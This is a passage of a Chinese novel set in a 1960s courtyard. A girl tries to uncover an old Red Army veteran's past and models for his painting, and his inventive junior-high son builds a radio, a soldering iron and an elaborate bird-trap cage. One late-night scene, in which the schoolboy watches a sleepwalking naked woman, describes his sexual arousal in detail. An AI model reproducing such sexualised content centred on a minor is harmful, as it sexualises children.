秦义辉的脸慢慢的沉了下来。忽然他用拳猛的一下砸在了桌子上,愤怒的喊道:“地主剥削穷人。穷人不造反,能行吗?!”……秦国颂忙把手风琴从肩上摘下来,对黄国英示意道:“咱们走吧。这老头……” 四个人缓缓的走出秦义辉的屋。 外面仍在下着雨。秦国颂送他们出门的时候回头望了望屋内小声的说了一句:“他又想起了过去。想起了穷人……尽管我们家那时不是很穷。但……” 黄国英问道:“他经常这样吗?” “不。很少……”秦国颂说道。 二凤歪了头问秦国颂说:“他没有给你讲过关于过去战争年代的事情?” 秦国颂说:“没有,他很少主动和别人说这些。” 二凤说:“我倒是很想听听呢,革命战争时期的故事,多么好的素材啊。” “对呀,你不是在学校里的文艺委员吗?你可以采访他写些故事发表在校刊上啊。”大凤对二凤说道。 秦国颂说:“你确实可以试试。不过……你试试吧。” 二凤点点头:“嗯,我一定要试试。” 流年,时代的一粒,灰光阴的一点尘;落在个人身上,就是一座山。 二凤想着要采访秦义辉,想着要探究老人隐藏着的生活中生命里的神秘故事。她认为他一定有过轰轰烈烈的光荣的革命经历。那些经历正是需要我们现在的年轻人去懂得的去学习的。把它写出来,让更多的人都知道那一段艰难的岁月,让我们年轻人更加珍惜现在的幸福生活。她抱着这个幻想与冲动,再一次走进了秦义辉的家门。 秦国颂没在家,他和黄国英一起去了离他家不远的一家电料行。他要组装的收音机里有一个元器件买不到,黄国英要帮他去买,并且告诉他电料行如果没有的话,他还有一个朋友在无线电厂上班,看看朋友能不能帮他搞到。 二凤刚踏进秦义辉家的外屋门口,就听见里屋的秦义辉愤怒的吼着。 “你们给我滚蛋!走走走!滚吧!”这是秦义辉的声音。 二凤只见两位文质彬彬的中年男人边倒退边解释的退到秦义辉里屋的门口。被秦义辉咄咄逼人的气势撵到外屋。秦义辉手里拿着一根通火炉子的通条,嘴里大声的吼道:“让老子摁手印儿?老子当年让白匪抓到都没有给他们按过手印!现在你们又让我摁手印?!给我滚!” 两位中年人急赤白咧的一边解释一边倒退:“这不是一回事儿,老人家。组织上让我们了解一下您的过去,写稿子登报是要宣传您的。让你签个名按个手印,这也是我们要走的必要的程序。你骂我们让我们滚,这是哪儿跟哪儿啊?” 两个中年人满脸无奈的对秦义辉解释,秦义辉不听他们的解释,用手中的铁通条指着他们说:“老子就是不按手印,滚!” 两位来访者苦笑着摇了摇头,看见站在外屋刚进来的二凤,以为二凤是秦义辉家的人,就对二凤诉苦道:“我们是休干所的,上级给了我们任务,让我们写一篇关于这老爷子的一篇报道,来的时候,我们明明说好了原因,他表现的特别好,当我们把稿子写完了让他在上面签字摁手印的时候。他……他突然就发火了,弄得我们不知道该怎么办?” 二凤看了看站在里屋门口的秦义辉。又看了看外屋这两位客人。笑着说:“他让你们走,你们就走吧,你们没看到吗?他是真的生气了呢。” 两位来访者还在解释:“他为什么要生我们的气呢?我们这样要求不都是很正常的吗?” 二凤又说道:“你们先走吧,我一会儿给他说说,问问什么原因,好吗?” 两个人只能怏怏而走。二凤把他们送出外屋:“辛苦了二位,慢走!” 二凤转身又回了屋,看到秦义辉已经把屋里屋的门关上。兀自站在屋中,想着刚才看到的情景,禁不住噗嗤一声乐了,这老头真怪,这都哪儿跟哪儿啊?跟白匪没摁过手印,跟他们也不能摁……转念又一想,这摁手印的背后是不是隐藏着什么巨大的秘密啊? 我们前面已经交代过二凤这个小姑娘可不同其他的女孩子。按说像今天这样的局面,她应当知趣地退出门外,回家便是。二凤可不一样,明知艰难偏向前,她可是个天不怕地不怕的闯家子。 黄国英和秦国颂去了那家电料行,这里仍然没有秦国颂要的那种元器件。黄国英又带他去了无线电厂找他的那位朋友,朋友出差去了。于是两人边向回家的路上走着边谈天说地。快走到家的时候黄国英对秦国颂说:“天还不太晚,咱们再去其他的电料行转转。”秦国颂点头答应。 黄国英和秦国颂两个人平时都不大爱说话,尤其是不愿意和生人交谈。都是属于那种比较内向的人。表面上看起来城府较深,其实他们俩都有一个共同的性格,就是办事不爱张扬,并且非常的稳重。在做一件事之前一定要想好了才去做,做就做到极致,认真追求尽可能的完美,哪怕是一点瑕疵都不能忍受。尤其是秦国颂在做一件事情之前,他都要仔细的思考并制定这件事情的方案。方案成熟了才动手去做,极其严格的要求自己,不求最好,只求更好。所以经过他的手制作出来的东西都非常的漂亮,几乎臻于完美,旁人看了没有一个不夸奖的。 有时世界上的事情就是这样奇怪,两个不爱说话的人到了一起有说不完的话,他们两个男人之间像极了大凤和大雅。自从大雅走了以后,大凤好几天都神不守舍,像丢了魂,像是恋人般的分离。 黄国英和秦国颂两个人在街上边走边聊。黄国英搂着秦国颂的肩膀,像搂着一个小弟弟,侧着脸低着头呵护着安慰到:“咱们今天多走几家电料行,我就不信买不到。” 秦国颂:“市里好几家电料行我都去过,都说没有,我正琢磨呢,如果实在买不到的话,我就自己动手做一个。” 黄国英说:“你能做?” 秦国颂点了点头:“我觉得行,把两个单联合成一个双联应该没问题,就是费用高了些。” 黄国英问道:“那要需要多少钱?” 秦国颂说:“两块多呢,如果能买到现成的双联可变电容器一块五就行。” 黄国英拍了拍他的肩:“兄弟,你做吧!钱是小事,哥给你!” 秦国颂看了看黄国英:“行。等收音机做好了先放到你那里听,算是回报。” 黄国英哈哈大笑起来:“行啊,当心我听上瘾了,不还你了!” 秦国颂也笑了:“那我就攒钱再装一个。”接着他又说到:“那咱俩还瞎转什么,买两个单连回去就行,你带着钱了吗?我带的不够。” 黄国英说:“带着呢,就知道你带的钱少。”接着又说道:“没事儿,我愿意跟你逛街,跟你在一起我觉得特别有意思,咱们再多转会儿,万一能碰到呢!” 秦国颂点了点头:“我真没想到能碰到你这么个知己,这么个懂我心思的大哥,我也不会说客套话,看我的行动吧!” 黄国英搂紧了秦国颂,点了点头。 二凤在秦义辉的外屋站了片刻,望着里屋那紧紧关闭了的门,缓缓的走近。抬起的手臂刚要敲门,侧耳听了一下屋里的动静,轻轻的敲了两下门,屋里没有回音,她深深地吸了一口气,鼓了鼓气,又敲了几下门,随着屋里的响动,门开了。 秦义辉露出了半张脸,见是二凤,微微笑了一下,示意二凤进去。 二凤进了屋笑着说道:“我今天没什么事儿,过来看看你,欢迎我来吗?” 秦义辉笑笑说:“欢迎啊,啥子个不欢迎?你坐嘛。” 边说边拿了糖果递给二凤。 二凤接过糖果剥了一块放进嘴里:“真好吃,甜。”她没有坐,站着又环顾了一下秦义辉屋里的四周。秦义辉的屋里墙壁上挂的大都是他自己画的油画,这些画大都是革命题材的红军长征时期的一些人物画,还有几张风景画,色调都比较浓重,画面大都是比较灰暗,凝重。有几幅大场面的画,其中一幅画画着黑压压的云,一行灰色的人在崎岖的山路上行走,人很小,像是一些影子。唯独走在前面的那个人扛了一面红旗,那鲜红的颜色给这幅画带来了一种视觉冲击。这红色的一点画龙点睛般的使整个灰色的暗调有了生机。就如同注入了生命的血液一样,给人带来了希望。那是“星星之火,可以燎原”的生命之光。二凤欣赏着这幅画,嘴里发出赞叹声。坐在旁边的秦义辉看着二凤欣赏他的画,脸上露出了笑容。紧挨着这幅画的旁边挂的是一张宣传海报,这是1964年歌剧《江姐》的演出海报。二凤指着那海报问秦义辉: “这歌剧你看过?” 秦义辉点点头:“看过,省里组织老干部去北京看的,这张海报就是我去看歌剧的时候给他们要的。” “好看吗?”二凤转了头去问他。 秦义辉的眼睛一下子亮了起来,好似有泪花在闪动。 “好看!好看!太好看了。”说着他站起来:“哪天我画一张江姐的画给你看。” 二凤差点蹦起来拍着手叫道:“太好了,期待您的大作成功!”接着又连珠炮的问道:“您找到模特了吗?你想照着谁画呀?你看我行吗?我长得像江姐吗?……” 秦义辉眯了一下眼睛:“嘿,你这个娃子看着还真有点像哩!圆圆的脸大大的眼睛,还有那精气神,嗯,像!就是你这辫子太长了,要剪掉。” 二凤拿手抓着辫子,她看了自己这两条又粗又长的辫子,咬了下嘴唇。忽然做了一个决定。 “辫子我可以剪掉,前几天我妈还跟我说了呢,这么热的天捂着两条大辫子多碍事啊。行!不管你让不让我做模特,明天我就去剪辫子!” 秦义辉被她说的哈哈大笑起来:“你这个娃娃子还真有那么一股劲儿哩!好,我明天去买一面红旗来,咱们就来个绣红旗,好吧!” 二凤开心的笑起来:“就这么说定了,咱俩拉勾!” 于是二凤把手伸到秦义辉面前。秦义辉也伸出了手指。 一老一小拉勾盟誓! 黄国英和秦国颂两个人几乎把市里的电料行转了个遍。也没有买到秦国颂所需要的双联可变电容器。黄国英提议还是买两个单联回去制作一个双联。秦国颂沉思了一会儿,决定还是先等到黄国英无线电厂的那个朋友回来再说。要是能买到现成的当然更好,实在买不到的话再考虑制作一个。他是不想让黄国英给他花钱,他的原则就是能省就省。再说其他的事情要做的还很多呢,他可以先制作收音机的外壳,还要先制作一把电烙铁。工欲善其事,必先利其器。这是秦国颂做事的原则。 制作电烙铁比较简单,利用电磁感应原理制作一个变压器。变压器的初级线圈用细的漆包线缠绕,能够达到承受市电的额定电压即可。次极用较粗的漆包线在初级的外面缠上两三圈即可。然后拿一根直径两毫米粗左右的铜线对折,对折中间用钳子把它压扁,两端固定在手握的绝缘棒上,然后接到变压器的次级线圈上。变压器的初级线圈设置一个开关,在打开和关闭开关的瞬间次级就会产生强电流。导致接到次级压扁的铜线末端产生热量,热量高底控制可以用开关打开的时间长短来控制。这样一把电磁感应的电烙铁就自制完成了。这个原理就是来自于电焊机的原理。黄国英对秦国颂动手的能力以及他善于动脑筋与知识的储备量大为震撼。他制作的电烙铁精巧以及使用便捷,让周围的人看了都啧啧称奇。手太巧了! 秦国颂的手真是太巧了,这只是初级玩意儿,以后还有更多的惊喜与奇思妙想等待着我们欣赏那巧夺天工的制作与创意,几乎让见过的人惊掉下巴。在那个年代真的是不可思议的事情。 这天大凤和黄国英两口子在谈论着秦国颂。 秦国颂的出现对他们两个人都有着不小的吸引力。他们两个人几乎都同时喜欢上了秦国颂。大凤由对秦国颂暗暗的欣赏而变成了一种无可言状的爱恋。与其说是爱恋,倒不如说是一个姐姐对一个弟弟的那种爱怜,这像是一种无私的爱怜把呵护与关爱全部倾注在一个身上的那种母爱。大凤家里全是女孩,都是她的妹妹,她多么期待有一个弟弟让她宠爱。这一点不单是大凤一个人的感受,也是她的那些妹妹们的共同期盼。秦国颂的出现在很大程度上满足了她们的这种愿望。他身上散发出来的一切一切,他的长相,他的性格甚至包括他的气味……都足以填补了她生活里的空白。她非常想见到他,哪怕是对面走过不说一句话,或者是他走过去望着他的背影,对她来说都是一种满足与奢求。她喜欢这道阳光,这道阳光使她心里感觉到敞亮,感觉到有一种说不出口的甜蜜。一种女孩子从未有过的那种“初恋般的”甜蜜。 黄国英呢?他和大凤一样,同样心里也翻腾着一种从未有过的滋味。他从来未曾这样喜欢过一个男孩,与其说是男孩,倒不如说是一个男人,自从他们认识了以后,他心里从来没有把他当作一个男孩子来看待,当秦国颂沉静的思索问题的时候,与人说话时常出现的那种羞涩的举动,看他清澈的眼睛里显出的纯真与求知的那种欲望以及超出与他年龄不相符的那种成熟与智慧,他与他近距离接触时的那种气味气息气场……都能足足的吸引他,让他身不由己的围着他转。黄国英无法解释自己的这些行为与莫名其妙的感受。每当他想起他来浑身竟然有些麻酥酥的快感,有时会泛起一层层鸡皮疙瘩。当浑身的鸡皮疙瘩慢慢消失的时候,他心中暗暗一惊。 秦国颂竟然是一个男人。他怎么会是男的呢?……我的天! “前天你和他去逛街了?”大凤问黄国英。 “嗯,陪他去买一个电器元件。”黄国英回答。 “他很聪明,对吗?” “嗯嗯,不是一般的聪明。” “看出来了,你非常欣赏他。”大凤特意用了欣赏两个字。 “嗯,还真是,我还从来没有这样欣赏过一个人。”黄国英也用欣赏来回答。 “看来你要帮他?” “是的,我觉得应该帮他。” “真怪了,你平时不爱串门的人竟然隔三差五的去他们家找他,你为什么不叫他来上咱们家呢?咱们家多方便呢。” “我给他说过,让他常上咱们家来串门,他不爱串门。” “你不是也不爱串门吗?怎么……” “我也说不上,反正就是想去他那儿,好似有一根线牵着似的。”黄国英说到这里微笑了一下:“咱们一起去他们家吧,你不是也挺喜欢跟他在一起的吗?” “总是去人家那里,不知道人家家里欢迎不欢迎,方便不方便呢?” “怎么不欢迎?他爸爸最喜欢我,每次我去他家的时候,他爸都送出门来招呼我经常过去玩。” “人家不会只是客套客套吧?” “哈哈,我从来没感觉到他们家的人会客套。这是我接触到的最真诚的一家人。太透明了!就像一瓶干净的水。”黄国英开心的笑起来。 大凤也笑了,边笑边说:“说起他们家的人来,你真开心。我也是。” “那咱们现在就去他们家看看!”两个人几乎同时说出了这句话。 新搬来的秦国颂,一个初中二年级的学生,竟然让黄国英与大凤两个人的生活一起起了变化。 当然还有另外一个人,这个人就是二凤。 他们双双来到秦国颂的家,外屋的门开着。秦国颂没在屋里,他们进了屋,在秦国颂的床上坐了一下,大凤站起来向秦国颂的母亲那间屋走过去,忽然听到秦义辉的屋里有人说话便转身走到秦义辉的屋门口,里面传出来一个女孩子的说笑声,大凤听出来了是二凤。 大凤走到黄国英跟前,对黄国英说:“二凤好像在里面。”她指了指秦义辉的房间。黄国英点了点头,对大凤说:“要不然咱们先走吧,等一会儿再过来。”大凤点了点头,两个人又走了出来,刚走到门口迎面看到了秦国颂的妹妹回来,秦国颂的妹妹叫小英,十二三岁,小英看着他们俩说“你们是来找我哥的吧?坐在他床上等上一会儿,他走不远一会儿就回来了。” 黄国英说:“我们也没事,就是过来转转,我们一会儿再来吧。” 小英对他俩摆摆手:“好吧,再见。” 二凤遵守着诺言来到秦义辉的屋中,让秦义辉给她画那幅绣红旗的油画。 她今天特意穿了一件白色的衬衫,下身穿了一件蓝色的裙子,她真的剪掉了辫子,齐肩的短发还特意的别了一个发卡刻意打扮的成熟些,但仍无法掩饰她青春活泼鲜嫩靓丽的少女娇媚。她自己设计着绣红旗的形象,靠着窗户端坐在那里,扯过红旗的一角披在肩上,然后再拿过红旗的另一角用金黄色的线绢绣。她的脸微微侧着,外面的阳光照在背景上,映衬着半逆光的脸庞显出庄严神圣美丽。 秦国颂回到了家中,看到父亲秦义辉的屋子门开着,便走过去探头向屋里看了一眼。只看到父亲站在桌子旁边调颜色支画板,知道父亲又要开始画画了。 另一间屋内妹妹小英走了出来,告诉他刚才国英哥和嫂子来过了,秦国颂点了点头,要离开去做别的事情,父亲秦义辉在屋内向他招了招手示意他进去。 秦国颂走进屋内,看见二凤拿着红旗在哪里比划,见他进来了灿烂的一笑。 “叔叔要给我画绣红旗,你在旁边看着好吗?” 秦国颂看了一眼秦义辉,秦义辉示意他坐下,他边点头边答应着走向屋外,对妹妹小英说:“你快去到里院叫国英哥哥他们过来,就说爸爸要跟二凤画画,叫他们过来看看。”小英边答应着边跑出了屋外。 秦国颂回到屋内。二凤笑着对他说:“你别干看着当观众,我给你安排个任务,你拿手风琴给我伴奏,我唱绣红旗给你们听,我一边当模特一边唱歌。绣红旗你会吗?” 秦国颂一边点头答应着,一边去拿手风琴。他看了一下兴趣盎然的秦义辉,有些兴奋的说道:“太会了!” “太会了!”这三个字对做任何事情一向谦虚的秦国颂“会一点”的他来说,这一辈子也许就这么一次。二凤哪里晓得这三个字对她来讲其中的分量是多么的重! 黄国英带着大凤从里面向外走,穿过月亮门,向秦国颂的家走去,隐隐约约的就听到了屋内传来的歌声,他们循着歌声来到屋内,刚刚踏进屋里的那一瞬间,两个人同时都惊呆了。 我们看到了如下的画面—— 二凤半跪半坐的微侧着脸低垂着眼瞼端坐在一片柔和的阳光里,面向在一旁拉手风琴的秦国颂。 她的一条腿半跪坐着,另一条腿舒展的伸开,她穿着雪白色的衬衫,那面鲜艳的红旗半披挂在她的肩上沿着周身舒展开来。 她的一只手拿着红旗的一角,另一只手拿着针线,嘴里柔情的在吟唱着那首秀红旗。 她唱的声音很小,很轻,睫毛上挂着两颗晶莹的泪珠…… 秦国颂的手风琴拉的声音也很小,很轻…… 整个屋里被一派庄严而圣洁的氛围包裹着。 金灿灿的阳光笼罩在二凤周身,夏日的斜阳,穿过树叶的缝隙,斑驳的构成一道道飘动的橘红。映衬出色彩斑斓的流光溢彩。点点滴滴的岁月似乎在叙述着青春的梦幻。 秦义辉神情严肃而庄重,专注地挥动着他的画笔,任凭二凤那甜美的歌声随意飘洒。少女的嗓音如同被天使亲吻过在空中弥漫。干净而纯洁。纯洁之中,带着几许期盼,几许祝愿,几许渴望,几许思念…… “线儿长,针儿密,含着眼泪绣红旗。热泪随着针线走,与其说是悲不如说是喜。多少年啊,多少代,今天终于盼到了你……” 二凤深情的唱着,秦国颂深情的看着二凤,他大胆的看着二凤,眼睛都不曾眨一下,生怕这美丽的画面消失。 多看一会儿,多看一会儿,多看一会儿…… 秦义辉眼睛湿润了,他缓缓的放下画笔,燃起一支烟,站在那里沉思。 大凤看着这画面看了这场景,忽然觉得这是在教堂里,坐在那里的二凤分明是圣母。 随着时间慢慢的流逝,映进屋内的橘红慢慢的变成了血红。残阳如血,这血色的浪漫景色在这屋内停留的时间也不过就是几分钟。然而屋里的人们都觉得时间停止了,血色凝固了……二凤停止了唱歌。秦国颂停止了手风琴伴奏。随着秦义辉手中的香烟的烟雾向上缭绕,升腾出一片吉祥。 屋里没有一个人说话,都在默默的享受着凝固的瞬间,似乎这一切都变成了永恒。 大凤突然流出了眼泪…… 时间进入了这一年的八月,立了秋的季节,天气依然是显得那么闷热。 夜晚,秦国颂关了灯躺在床上开着门窗准备睡下,里间屋的秦义辉的门也开着,老爷子摇着他自制的风扇呼啦啦地驱散着闷热的空气。自制风扇的响动吵得秦国颂无法入睡,他戴上耳机听着他自制的那台单管的半导体收音机里的广播节目。直到收音机里能听到的电台的节目播音员报道今天的节目已经全部播送完了,他才摘下了耳机。 里屋的手摇风扇的声音渐渐的小了,直到没有了响动。秦国颂这才迷迷糊糊的进入了梦乡。 睡到后半夜,他又被热醒了。起身出了门,来到院里的自来水龙头前,拧开水龙头,半个身子趴在水龙头下,用凉水冲洗着身子,感觉舒服极了。他洗了一会儿用毛巾擦干身子,回屋躺在床上,又要准备睡觉。他头向外门口躺着迷迷糊糊的正要睡的时候。忽然听到门外有脚步声,声音很轻,他心想一定是有人热的睡不着出来洗凉水澡了。但是他没有听到自来水水流的声音,倒是听到了轻轻的脚步声越来越近,那声音分明是向着他的屋门口走来,越走越近。他一下子瞪大了双眼看着门口。只见一个人影站在了他的门前。他再一次瞪大了眼睛,朦胧中他看到了一个女人,一个一丝未挂的长发女人缓缓的走进了他的屋中。 随着这个女人一点一点的向他走近,他浑身的血脉一下子喷胀了起来。他看不清这女人的面孔,但他真真切切的看清了这女人的身材。那优美的曲线,那白白的肌肤正在一步一步的向他靠近。就在快要走到他跟前时停下脚步。然后转了身向秦义辉的屋门走去。秦国颂张大了嘴巴大气都不敢出一下。他不敢相信这是真的。就在他等待的下面的事情要发生时,忽然那女人转了个身,又缓缓的向屋外走去。脚步极轻,旁若无人地走出屋外。径直走向大院的大门口。 秦国颂机灵一个翻身起来,鞋都顾不得穿,紧跟着掩在门框旁边,看着在夜色中向大门走去的这个女人,忽然他觉得自己下体竟然支楞起来了。他用手握了一下硬邦邦的把内裤都顶起来了。 只见那女人缓缓的走到大院的门口,停顿了一下缓身走向紧挨着大院门口的大雅的门前,掀开棉门帘子开了门进了屋。 秦国颂紧跟着慢慢的走了过去,这时他才感觉到自己加速的心跳,不过在他贼大的胆子的支撑下他还是缓缓的走向了大雅的门前。他站在门前壮了壮胆子。掀开了那棉门帘子,屋里的门没有关,透过后窗映过来的光线,屋里没人。他疑惑的放下棉门帘子,转身要离开。又迟疑了一下,再次掀开棉门帘子,探身再次向屋里看去,屋内仍然空无一人。他琢磨着人去哪儿了呢?明明看到她进的这屋,我看错了吗?就在他转身要回去的时候,忽然看到离着东边厕所很近的高老头的屋门口前一个白白的身影晃动了一下。没错,是她!秦国颂屏住呼吸,看着那远处的裸体女人,那女人没有进高老头的房间,而是转了个身又向他家的屋内走去。秦国颂快步紧走了几步,就在快走到他家的门口时那女人从他家的屋门出来了。两个人几乎走了个对面。女人面无表情的看了他一眼,这一次他看清了,那女人的眼睛是朦胧的似睡非睡的面沉似水,嘴角微微的抖动了几下,像是给他暗示什么,又自顾自的在自己高耸的乳房上轻轻的揉搓了几下,两个人也就是相距三四米远。秦国颂瞪大了眼睛,像是被钉子钉在了原地一样一动都不动。他呆呆的看着面前的女人,女人似乎没有看到他,只是又自顾自的转了身向里院的月亮门走去,她推开月亮门,一闪就消失了。 秦国颂呆立在原处,他打了自己一巴掌没有感觉。紧接着又打了一巴掌。这次这巴掌打的很重,他感觉到了疼痛,他痴痴的望着那月亮门,门关着…… 秦国颂这次确实是看清楚了,这裸体女人,是大凤! 我的天呐! 第4章 雏形(出行的谐音) 这个世界一切都是可以分割的。太极生两仪,两仪生四象,四象生八卦,八卦定万物……那么太极是怎么来的呢? ——秦国颂 1966年如期而至的闯入了这个表面看似平静的,实则极不平静的大院。这个大院里像是涌入了波涛巨浪的潮水,这股潮水与外面的浪淘节拍峰叠而至,来了一个天翻地覆的变化。 二凤吃的是人间烟火,她没有脱离开地气,并把这二者运用的炉火纯青。秦国颂吃的也是人间烟火,但是他好像吃的不太对。人间烟火对于他来讲就是填饱了肚子,吃饱以后便不去想人间烟火的事儿了,他便去想与人间烟火无关的事情。这世道好像没有和他故意的过不去。反而更像是他与这个世道故意的过不去。 二凤与秦国颂恰恰相反。二凤想的是吃饱了以后再吃更好的。她想知道的还是人的事。秦国颂吃饱了以后想知道的是神的事儿。这便是两个人的命运存在于天壤之别的缘故。而恰恰命运又这样毫不留情面的把他们俩拴到了一起。 1966年的寒假假期,二凤那颗执着的小脑瓜子里想的还是秦义辉的家事。她也曾几次试探性地与秦义辉透露过想要了解他的家世。然而每次扯到这个话题的事时秦义辉的脸上都露出了很不耐烦的表情。使这个话题无法开展进行下去。聪明的二凤知道她不可能从他的嘴里了解到他的家世以及他的过去,秦义辉不愿意讲这些事情一定是有一些难以言表的故事在里面,二凤这样想着。她不便再去问秦义辉。一个大胆的念头闪现在她的脑海里…… 这天二凤来到秦国颂家里,看到秦国颂屋里乱七八糟的堆着一堆竹片和多半个破竹帘子。秦国颂正忙的满头大汗。 “我的天呐,你这是要干什么?”二凤笑着问道。 秦国颂头也不抬,依旧在那里忙碌,边忙碌边说:“我想做一个鸟笼子。” “做那干嘛?” 秦国颂抬起头:“这不放假了吗,没事干做个鸟笼子拿到集上去卖,换些零花钱好组装我的收音机呀。” 二凤有些惊讶的问道:“你确定你做的东西有人买?” 秦国颂肯定的点了点头:“我要做一个独一无二的鸟笼子,市面上没有见过的那种。” 二凤看着那稚嫩的脸,额头上冒着汗水的秦国颂。问道:“市场上没见过的东西你也会做?有图纸吗?” 秦国颂平静的看着二凤。眼睛里露出坚毅的神情,这种表情和他的年龄有些不相符:“图纸在我脑子里,我已经想的差不多了,等做好了给你看。” “需要做多长时间呀?我有一件事情要跟你商量。” “大概一周左右吧,顺利的话四五天就能做成,这只笼子是有些难度的。” “我跟你商量一件事行吗?”二凤凑近了秦国颂说道。 秦国颂似乎感觉到了二凤的气息,这是一种清新的青春的扑面而来的气息。他差一点要窒息了。 “行,什么事你说说吧?” 二凤说道:“你能跟我一起出趟远门吗?” 秦国颂停住了手中的活计,瞪着眼看着二风:“去哪儿啊?干嘛去?” 二凤用坚定的目光看着他:“我想去一趟湖北,你们的老家。” 秦国颂脑袋嗡的一下:“你去那儿干嘛?” 二凤又用坚定的口气说:“我想了解你父亲秦义辉的过去。” 秦国颂低下了头:“我们老家没人了,我也没去过,具体的地方都不知道在哪儿,只知道是在红安县,我一个认识的人都没有。” 二凤笑了:“知道在红安县就行,咱们去了打听啊。” “咱们问谁呀?” 二凤毕竟比秦国颂大两岁,思路也比秦国颂开阔的多:“咱们去民政部门问你父亲的名字,你父亲参加过红军长征,一定有知道他的人。” 秦国颂看着比自己年长两岁的二凤,心里的敬佩之感油然而起。他点点头问道:“你决定了吗?” 二凤点了点头。 “好吧,我跟你一起去,不过要在我把这只鸟笼子做好了以后卖掉,卖了钱咱们再去,咱们没路费呀。” 二凤笑了笑说:“我现在有几块钱。平时攒的。肯定不够,我可以找我姐借一点。” 秦国颂说:“先别给你姐说,等过两天我做完了鸟笼子,咱们看情况再定好吗?” 二凤笑了,笑的灿烂:“好的,等着你!拉勾为定!” 她把小手指伸向秦国颂,秦国颂缓缓地伸出自己的小手指。秦国颂长这么大,第一次和女孩子的手指相扣,脸红的像个苹果…… 接下来便是秦国颂夜以继日的三天的制作过程。 第一天他把那些竹片用小锯子锯成大小不一长短各异的竹条,用刨子把他们刨成精致条状做骨架。计算出各种长短不一的分门别类的归纳起来。把那个破竹帘子拆成一根一根的竹条。他找了一块三四毫米厚的钢板,在这块铅笔盒大小的钢板上面钻了大小不同的几个圆锥形的洞。然后把那些竹条一次一次的穿过这些洞,拉制成符合尺寸符合使用的细竹条,最后用砂纸把这些竹条和竹片打磨光滑。用锯子裁成各种长度的小竹条。他还亲手制作了一个钻,手动的如同锯弓子一样的那种古老的钻。用这个钻在那些竹片上打眼。共做了大小不同的竹片和竹条几百根。他真的要做一个如同他所说的人们没有见过的鸟笼子。 第二天熬好胶,开始拼装。这一个大的鸟笼子里有好几个隔断,并且这个鸟笼子是上下三层,最上一层有一个翻转机构,外面的鸟落到这个笼子后,落到这个机构上掉在下面,这个机构的盖子就会自动关上。落到最下面一层的鸟飞不出去。并且下面一层设置了好几个空间,可以放不同的鸟。这就是人们所说的踏笼。这就是秦国颂所说的与众不同的鸟笼子,是一只踏笼与观赏饲养合二为一的精致的鸟笼子。 第三天,这只是长方形的长50厘米,宽30厘米,高50厘米,可以捉鸟和养鸟的踏笼制作完毕。他还配上了一个精美的挂钩,并且配上了一些精美的配饰,这是鸟笼子造型精美,每个细节处理了十分完美,体型简洁大方,鸟笼由细密的竹编制而成,竹条的直径几近一毫米,不论是竹架还是竹族竹梁竹片的纹理清晰之外,每一个竹片都切得极细,每一条都经过精细的打磨到光滑细腻,造型即实用又美观。 整整三天,秦国颂把自己关在屋子里,心无旁骛,专心致志的做他这只鸟笼子。有时候邻居过来串门站在旁边观看,嘴里有一句没一句的给他搭话,他最多也就是嗯一声,没有多余的言语。就是一门心思的,低着头做他的活计。 大风两口子过来看过他,他也只是抬起头微微笑一下,不多言语的继续埋着头做他的事。 二凤躲在家里不敢过来看,她想着等他做好了,他要给自己一个惊喜,姑娘的心在甜蜜的期盼这个惊喜的到来。 这一天到来了。第四天清晨,雪后的天气阳光明媚,秦国颂拎着他的鸟笼子来到了院子里。他拿着一根绳子来到了前院东南角的一棵槐树下,秦国颂要把鸟笼子挂在树上。这时与他家挨着的邻居韩厂长走出屋门,看到了他手里的鸟笼子。40多岁的厂长韩长顺问他: “国颂,这是谁的鸟笼子?” 秦国颂看了看韩厂长:“这是我刚刚做好的,拿出来试试,挂到树上看看能不能抓到鸟。” 韩厂长急忙说道:“你做的?等等,让我看看!” 秦国颂把鸟笼子递给韩厂长,韩厂长接过鸟笼子,惊讶的看着。 “这,确实是你做的?!” 秦国颂点了点头。 韩厂长仔细的端详起鸟笼子来。 这只精致的鸟笼子在阳光下熠熠生辉。笼身上的每一处细节都经过精心设计,整个笼体透露出一种不凡的气质,让人真的是一眼难忘。 鸟笼仿佛是感受到匠人倾注其中的心血与情感。每一处细节都处理的恰到好处,令人叹为观止,它不仅结构稳固而且外观华丽,笼丝之间错落有致,构成了一幅和谐的画面。 韩厂长爱不释手的看着手中的鸟笼,又目不转睛的盯着秦国颂。 “你跟谁学的?” 秦国颂垂下眼睑。羞羞的说:“没跟谁学,从书上看到的。” “从书上看到你就能做出这个来?!” “嗯嗯,也不是一下子做出来的,做了好几天了。” “我的天!好几天?你就是让我好几个月我都做不出来。你真是个天才,你可只是个初中生啊! 韩厂长惊讶的说着,嘴里只剩下夸奖他了。 “你要好好读书,上学!将来考清华,绝对是个好材料!” 这时候住在外院的邻居们都出来看秦国颂做的这只鸟笼子,众人们啧啧称奇,赞不绝口。 住在里院的二凤听到了外面的动静,赶紧跑了出来,她看到了人们围着秦国颂围着他那只刚做好的鸟笼子,她走过去用手摸着鸟笼子,瞪大了眼睛。她真的不敢相信,这都是真的。她看着低头不语的秦国颂,如果这时院子里没人,她会不顾一切的紧紧的拥抱他。她克制住自己内心的激动,只是眼里闪动着泪花,轻轻地说了一句: “真好……” 韩厂长爱不释手的拿着鸟笼子问秦国颂:“你做这只鸟笼子就是为了抓鸟吗?” 秦国颂说:“我想把它拿到集市上卖了。” 韩厂长说:“你打算卖多少钱?” 秦国颂看了看韩厂长:“我也不知道,有可能卖10块钱吧?” 韩厂长笑了:“你卖了它拿钱干嘛呀?” “我准备用钱组装一支晶体管收音机,装那种能接收短波的收音机。” “好呀,小伙子,你真棒!”韩厂长看了看周围的人又说道:“大伙说说他这只笼子能卖多少钱?” 邻居们你一言我一语的猜着给价格,有的说值20,有的说值25,有的说值30,说的最高的是一个孩子,这孩子说值40。 韩厂长笑着问秦国颂:“40块钱你卖吗?舍得吗?” 秦国颂羞红着脸笑了:“40块钱我可没想到,能给我20块钱我就知足了。” 韩厂长说:“好吧,你不要拿到集市上去卖了,我出50块钱暂时买下你这只鸟笼子,如果你后悔了还可以赎回去,行不行?小兄弟,这可是我一个月的工资啊!”韩厂长哈哈大笑起来。 秦国颂也高兴的笑起来:“我不会后悔的,你喜欢的话我还会再给你做一个更好的!” 韩厂长拍了拍秦国颂的肩:“好!小伙子,咱们就说定了,我不需要你再做更好的了,这个就行了,我可不是拿它养鸟抓鸟,我要把它拿到我们工艺美术厂去,让工人们看看一个孩子一个中学生做出了这么好的产品,对!我把它当做产品。” 秦国颂人生当中第一次挣到了一笔钱,一笔大到他想都想不到的钱,50元钱! 